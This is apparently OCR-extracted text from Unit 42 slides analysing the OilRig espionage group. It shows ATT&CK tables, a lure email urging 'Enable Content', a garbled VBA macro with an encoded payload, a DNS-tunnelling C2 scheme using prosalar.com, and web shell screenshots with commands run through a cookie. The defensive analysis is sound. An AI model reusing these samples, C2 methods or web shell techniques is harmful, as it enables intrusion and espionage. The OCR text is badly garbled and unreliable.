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ESPIONAGE ADVERSARY
BASED IN THE MIDDLE EAST

LEVERAGES MALICIOUS
MACRO DOCUMENTS

USES CUSTOM TOOLS
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USES POPULAR
MULTISCANNERS FOR TESTING

EVIDENCE OF RELATIONSHIP TO
OTHER THREAT GROUPS

USES WEBSHELLS ON
COMPROMISED SERVERS
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Adversarial Tactics, Techniques
& Common Knowledge
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INNE(@ @ Deconstructing the Attack Life
Adversarial Tactics, Techniques CVCl e

Privilege Credential Command and
Di: llecti Exfil
iation A scovery Mo Execution Collection Itration Control

Defense Evasion

Application
Accessibility Access Token Account PP Command-Line |Audio Automated |Commonly
Token i Rk i . Deployment L
Features R . Manipulation Manipulation Interface Capture Exfiltration Used Port
Manipulation Software

o L Communication
L Application Distributed .
Accessibility | . . Dynamic Data Automated |Data Through
AppCert DLLs Binary Padding Brute Force |Window Component .
Features i X Exchange Collection |Compressed |Removable
Discovery Object Model Medi
edia

. Exploitation . )
Aoolnit DLLS AppCert Bypass User Credential of Execution Browser Data Connection
I
PP DLLs Account Control Dumping " through API Extensions |Encrypted Proxy
Vulnerability

. Custom
L . Execution Data
Application . L Credentials in . . |Command and
L Applnit DLLs |Code Signing ) Logon Scripts |through Module Transfer Size
Shimming Files L Control
Load Limits
Protocol

Exfiltration Custom
u
Authentication |Application |Component Exploitation of Graphical User Over .
N ) . Data Staged ) Cryptographic
Package Shimming Firmware Vulnerability Interface Alternative Protocol

Protocol
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‘Nafti’
a tl @ Rob Falcone 5 09:09

i (nafti)

thats translates to oil

0]8 boom

we could always use that in the campaign name

e

Bryan Lee 09:12

P 4
v b QilRig is a cool name

Rob Falcone '» 09:12
000

i kinda like that
OilRig Campaign

PerSIan for n Bryan Lee ™ 09:12
lpetroleuml or loill ’1‘“ yeah that’s kinda fun
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ATTACK
| | | | |

May 2016 | July 2016 | Sept 2016 | jan 2017 June 2017 Aug 2017

. | N UAE
Saudi Arabian Turkish Kuwaiti Lebanese IT firm in United Government
financials Government Government financial Arab Emirates &
&
Israeli 'Torg

NPO
June 2016 Aug2016  cro016 April2017  July2017  Nov 2017

Qatari US Government Same Israeli CVE-2017-0199, Same Saudi Saudi Arabian
raw materials, & NPO Alleged Israeli IT from Aug 2016 public utility
shipping & logistics Saudi IT & Government

NEE
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SEND / RECEIVE

ClenUp ¢ B2 Mesting
<« < Fe Vieshing
&5 Junk ~ < < >
Reply Reply Forward
tems ~ All

4 Favorites

Inbox 1

Sent Items 4 Older

Deleted ltems

:\:‘g(%lhomas

4 Outlook Data File

Inbox 1

Drafts

Sent Items

Deleted ltems

Outbox

RSS Feeds

Search Folders

ITEMS: 1 UNREAD: 1

O Type
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@ Scratch

i Address Book

Move OneNote Unread/ Categorize Follow
Read - Up~ Y Filter Email ~

6/18/2017
eaks from this me:

Message B4 | Important.xis (470 KB) & how.png (18 KB)

Hello dear colleague, please find the file attached, it's very important. looking forward to your reply, thank you.

Note 1: Don't open in the browser, download the file and open in due to incomparability of excel version, and if you see the
incomparability message, please click on "Enable Content" as pictured, thank you.

&

0O 8@ -——+——+ 1w0m%

A @ T Q)

1:20 PM
9/19/2017 %
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C:\USERS\PUBLIC\LIBRARIES\*WINDOWS\
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\INTERNET EXPLORER\USERS\
KRATOS

PLATO

JOHN-PC

ADMINISTRATOR

30

KERNEL.WS
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Sub HideSheets()

If ActiveWorkbook.Worksheets(1l).Visible Then
Dim WS_Count As Integer
Dim i As Integer
WS_Count = ActiveWorkbook.Worksheets,Count
For i = 1 To W5_Count

ActiveWorkbook.Worksheets(i).Visible = True

Next 1
ActiveWorkbook.Worksheets(1l).Visible = False
ActiveWorkbook.Worksheets(2) . Activate

End If

"TYQOALMALLAELALL /CALLZANALAALLALALNALNAL0A0000000000000000000000000003000%80"
Paltofpl] = Paltofpl + "AAAAAAEALA4TUZz4AtANNIDZBTHONVGhpCyBwemOncmF tIGNhbmSvdCEi ZSBydWdgal4gRESTIGLY"
Faltofpl] = Paltofpl "ZGUUDOOK] AALAALLLLAESCh] aSkISGkpCLEPKOiw3bX SsGUPCLDd tfuwSykIsN21+rBwKQiwd4nP"
|Paltofp1|= Paltofpl "sGgpCLCMcAuxeikIsIxwDbFLKQiwjHAMsXgpCLBgUZuwelCk I sGkpChbAHKD i wm3ABsWgpCLCbcPew™
Paltofpl| = Paltofpl "aCkIsJtwCrFoKQiwlUmljaGkpCLAAAALALLALLFEFALAEBMAQUAERPhZWOAALLALLALLALLCA0SEDZAL"
|Paltofpll = Paltofpl "pAEAA 4L AL ACKWOALALBALLADLADLALEALLEALALACALAFAAELALLALAUALOLLALLALIACHALE"
|Faltofpll = Paltofpl "AALALALLASBAZOANELLAELALLAL0ALA0ANALNANNELLANNANLANNANNADCECALOAAANAYATA4AEL"
|Paltofpll = Paltofpl CAAALALLA0A0A0000000000CcATA0BIALIACAZEBWALLALD AAD0A0000000000000000000000"
|[Paltofpll = Paltofpl "ABOCAEAALLALLALLALLALADANOCMADLALNALN0M00 LM b AAALL0L00000000 NRLeH)ALACK"
|Paltofpll = Paltofpl "oWEAABAAAACKAQAAEALALLALNAL0 A0 D000 Aé G AACHEALLDAAQALCZALAKZEALLA"
|Paltofpll = Paltofpl "AALALALLAL0A00ELLAEAUZGFRY M P. @ AUALZAZHALLALLA00000000BL0ADALN]Z"
|[Paltofpll = Paltofpl "CmMAAADZAQALAGACAL i A RO R a0 0AAA0CSYZW XY wAAOBIALABwAZALFALA"
|Pa1tofp1|= Paltofpl "ACYCALLALL00000 000,00 008,00 00000 00,080 0,00 80.0.0,0800000800004"
IPaltofp1|= Paltofpl TOAA08000000000800 0 000, 000800800000 8.0.08.0 000 000000000000000000005008%00%%8%0"
U800 000800000000 8800000000008 000008000008000008000000500005000080000080500005004"

"AAANANNANNAN0A008000000000000008000000000000000000000000000000000000000004%%0"
"hobdbdbdbddbddbdbbdbbdbbddbddbdbbddbddbddbddbddbdbbddbddbdbbddbddbbdbddbadbadn

IPaltofpll = Paltofpl

lpatltofpll = Paltofpl
|Pa1tatnil = P21 +tafnl
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ID string hardcoded string

49951D3d7f11b4-0-2D-2D.prosalar.com CHECK FOR COMMANDS
random 4 unique C2 domain
digits identifer

4 BYTES RECEIVED

36.37.94.33  //START DATA PER REQUEST

95.68.110.115 //_Dns

73.110.105.116 //Init FILE CREATED AND
46.98.97.116 //.bat COMMANDS EXECUTED
29 DNS requests string "_DnsInit" for

ID string to be sent filename transmitted
6858ID8faa21501-29-41637469766520636F 64-5F446E73496E6974 . prosalar. com 10 BYTES SENT

| | | | PER REQUEST
random 4 unique string "Active cod" of C2 domain
digits identifer data transmitted

MIMIKATZ TOOL (758,272 BYTES) TAKES 189,568 DNS REQUESTS TO DOWNLOAD
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GET /NEWSPAGES/NEWS1.ASPX

Al maladl J gl ¢y glailf ulana
Galall ciloglad uel 93 - dalal ZaLaY
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POST /NEWSPAGES/NEWS1.ASPX

Address Current : C:\inetpub\wwwroot\shell\ n _

Login Do it : | e

Process : Ic-d.m I

. ==

File name :
Upload Save as : [ I . Is virtual path

New File name : | | n
Download File name : I I_

upload Baseb4 File : | . . Is virtual path

Baseb4 File Path and Name : | I

Command

Sql Server Connection String : |

|
Query : | .

File name : I

Change
Creation From This File : |

Time .
New Time : |

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
iis apppool\defaultappp
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@ http://localhost/2222.aspx D v | | =) v Page v Safety v Tools v @

locaton: C:\inetpub\wwwroot\2222.aspx

1 | DarkshellPasswordSet |

'c:\windows\system32\cmd. exe |

‘lecho 'This is a command I ran!!"' |

> | I —— T
—————————— ] wia

Microsoft Windows [Version 6.1.7600]
Co yr1ght (c) 2009 Microsoft Corporation. All rights reserved.
windows\system32\inetsrv>echo 'This is a command I ran!!’
Th1s is a command I ran!!"
c:\windows\system32\inetsrvsexit
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‘Q Internet Information Services (IIS) Manager

e ¥ » WIN-NULVN97QTV7 »

File View Help

Connections -
[~
Q- & ‘ MOdU|eS Add Managed

43 Start Page Use this feature to configure the native and managed code modules that process requests made to the M0d9|e--- .
--€5 WIN-NULVNO7QTV7 (WII | Web server. Configure Native

22 Application Pools Modules...

-- & Sites = Cod e S ;I Edit...
4@ Default Web Site ame ode odule Type ntry Type Lock

FailedRequestsTraci... %windir%)\System32\inetsrv\iisfreb.dIl Native Local X Remove
FileAuthorization System.Web.Security.FileAuthorizationModule  Managed Local View Ordered List...
FormsAuthentication  System.Web.Security.FormsAuthenticationMo... Managed Local © Help
HttpCacheModule %windir%)\System32\inetsrv\cachhttp.dll Native Local Online Help
tiph0ggingModulo= =2owindi/odSysiema? \inctsar\leghttp.die == == NatiVem == == == [0Ga|m= ==
H1TPParser c:\windows\system32\inetsrv\HTTPParser.dll  Native Local
llﬁpiﬁkemodﬁle_ = Wildir%\SYeteM3 NheBniterdirT = = WatWe = = = Tocal = B

Group by: No Grouping -~
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POST / HTTP/1.1
Host: 192.168.45.5

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: =*x/=

User-Ag :

Cookie: | RGSESSIONID=54NzkwcCM80zU5PQ== CMDSWHOAMI
Content-Length:

HTTP/1.1 200 0K

Content-Type: text/plain

Server: Microsoft-=IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 83 Oct 2017 19:14:26 GMT IIS APPPOOL\\

Content-Length: 40
DEFAULTAPPPOOL
PTOndDUKJICQ70zgIMDEYNSE4IDUKICQ70zheVA== \N\XOO

© 2018, Palo Alto Networks. All Rights Reserved. _
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@unit42 PLAYBOOK VIEWER Description Campaigns

PLAYBOOKS

OILRIG

May 2016 to August 2017

May 2016 to September 2017

January 2018 to January 2018

Published
Playbooks

RECON DELIVERY EXPLOIT INSTALL COMMAND

Techniques
Used
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@unit42 PLAYBOOK VIEWER

PLAYBOOKS

July 2017 to August 2017
OILRIG

May 2018 to August 2017

January 2018 to January 2018

RECON DELIVERY

INSTALL COMMAND OBJECTIVE
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@unit42 PLAYBOOK VIEWER View Specific Indicators for
Technique

PLAYBOOKS

July 2017 to August 2017

OILRIG _ deeteoey ||

May 2016 to August 2017

INSTALL COMMAND OBJECTIVE

Custom Command Permission Groups

and Control Protoco Discovery
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